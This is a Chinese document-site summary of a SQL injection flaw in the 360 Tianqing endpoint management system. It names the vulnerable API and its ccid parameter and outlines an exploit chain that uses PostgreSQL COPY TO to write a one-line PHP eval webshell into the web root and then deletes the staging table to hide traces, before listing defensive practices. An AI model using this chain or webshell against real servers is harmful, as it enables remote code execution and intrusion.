360天擎SQL注入漏洞分析:创建表与写shell
需积分: 0 154 浏览量
更新于2024-08-05
收藏 1.78MB PDF 举报
"360天擎前端SQL注入漏洞演示及利用步骤"
本文将详细讨论在360天擎安全管理系统中发现的一个SQL注入漏洞,该漏洞可能导致恶意攻击者通过创建表并写入恶意代码来执行任意命令。具体来说,这个漏洞出现在URL `https://192.168.24.196:8443/api/dp/rptsvcsyncpoint` 的API请求中,允许攻击者通过构造特定的参数值进行SQL注入攻击。
首先,我们来看一下利用此漏洞的过程:
1. **安装权限**:由于360天擎通常是通过安装包以管理员权限运行的,攻击者可以尝试利用此权限进行更危险的操作,如写入系统文件。
2. **创建表O**:利用SQL注入,攻击者在数据库中创建一个名为O的新表,这是执行恶意操作的基础。
3. **添加字段和写入shell**:向表O添加一个字段T,并写入PHP后门代码。例如:`<?php@eval($_POST[1]);?>` 这段代码会执行通过POST请求传递的任意PHP代码。
4. **使用COPY TO功能**:PostgreSQL数据库提供了一个COPY TO命令,可以将表O中的所有数据复制到文件系统中。在这种情况下,它将字段T的内容写入了`C:\ProgramFiles(x86)\360\skylar6\www\1.php`,创建了一个可执行的PHP后门。
5. **删除表O**:为了隐藏痕迹,攻击者在写入后门后删除了表O。
成功利用此漏洞后,恶意PHP文件`1.php`位于服务器的公共可访问目录下,可以通过访问`https://192.168.24.196:8443/1.php`来执行。例如,通过POST请求发送`1=phpinfo()`,可以查看服务器的PHP配置信息,证明了后门的有效性。
漏洞出现的原因在于360天擎的`api/dp/rptsvcsyncpoint`接口。在`DpController.php`中的`getSyncPoint()`方法中,没有对`ccid`参数进行充分的输入验证和转义,导致了SQL命令的直接拼接执行,从而允许了SQL注入。
为了防御此类攻击,开发者应遵循以下最佳实践:
1. **参数化查询**:使用预编译语句或参数化查询,确保用户输入不会影响SQL语句的结构。
2. **输入验证**:对所有输入数据进行严格的类型和格式验证,拒绝不符合预期的数据。
3. **权限限制**:为应用服务数据库账户分配最小权限,避免不必要的全局系统权限。
4. **日志监控**:定期审查系统日志,及时发现异常行为。
5. **代码审计**:定期进行代码安全审计,查找并修复可能的安全漏洞。
6. **安全更新**:及时应用软件更新和安全补丁,保持系统安全。
通过以上措施,可以显著提高系统的安全性,减少SQL注入等常见攻击的风险。
2022-07-25 上传
2022-03-31 上传
1894 浏览量
1495 浏览量
511 浏览量
点击了解资源详情
点击了解资源详情
点击了解资源详情
点击了解资源详情
好运爆棚
- 粉丝: 32
- 资源: 342
最新资源
- 探索数据转换实验平台在设备装置中的应用
- 使用git-log-to-tikz.py将Git日志转换为TIKZ图形
- 小栗子源码2.9.3版本发布
- 使用Tinder-Hack-Client实现Tinder API交互
- Android Studio新模板:个性化Material Design导航抽屉
- React API分页模块:数据获取与页面管理
- C语言实现顺序表的动态分配方法
- 光催化分解水产氢固溶体催化剂制备技术揭秘
- VS2013环境下tinyxml库的32位与64位编译指南
- 网易云歌词情感分析系统实现与架构
- React应用展示GitHub用户详细信息及项目分析
- LayUI2.1.6帮助文档API功能详解
- 全栈开发实现的chatgpt应用可打包小程序/H5/App
- C++实现顺序表的动态内存分配技术
- Java制作水果格斗游戏:策略与随机性的结合
- 基于若依框架的后台管理系统开发实例解析